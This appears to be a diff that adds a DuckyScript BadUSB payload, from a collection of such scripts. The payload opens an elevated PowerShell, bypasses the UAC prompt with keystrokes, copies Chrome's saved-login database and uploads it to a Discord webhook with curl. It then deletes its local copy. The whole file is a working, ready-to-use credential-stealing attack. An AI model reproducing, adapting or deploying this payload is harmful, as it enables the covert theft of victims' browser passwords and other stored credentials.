■ ■ ■ ■ ■ ■
BadUsb-Collection/Windows_Badusb/PasswordStuff/ChromePasswords/chrome_passwords_discord.txt
| 1 | + | REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) |
| 2 | + | REM Description: Copies the chrome login file and sends it to a discord webhook. |
| 3 | + | REM Version: 1.0 |
| 4 | + | REM Category: Passwords |
| 5 | + | DELAY 500 |
| 6 | + | WINDOWS d |
| 7 | + | DELAY 500 |
| 8 | + | WINDOWS r |
| 9 | + | DELAY 500 |
| 10 | + | STRING powershell Start-Process powershell -Verb runAs |
| 11 | + | ENTER |
| 12 | + | DELAY 800 |
| 13 | + | LEFTARROW |
| 14 | + | ENTER |
| 15 | + | DELAY 800 |
| 16 | + | STRING $hookurl = "insert webhook url" |
| 17 | + | ENTER |
| 18 | + | DELAY 300 |
| 19 | + | STRING function Upload-Discord {[CmdletBinding()] param([parameter(Position=0,Mandatory=$False)][string]$file,[parameter(Position=1,Mandatory=$False)][string]$text) $Body = @{'username' = $env:username; 'content' = $text}; if (-not ([string]::IsNullOrEmpty($text))){Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)}; if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}}; $sourceFile = $env:LOCALAPPDATA+'\Google\Chrome\User Data\\Default\\Login Data'; $outputFile = "c:\output.txt"; Copy-Item $sourceFile $outputFile; Upload-Discord -file $outputFile -text ":)"; Remove-Item $outputFile |
| 20 | + | ENTER |
| 21 | + | DELAY 1000 |
| 22 | + | STRING exit |
| 23 | + | ENTER |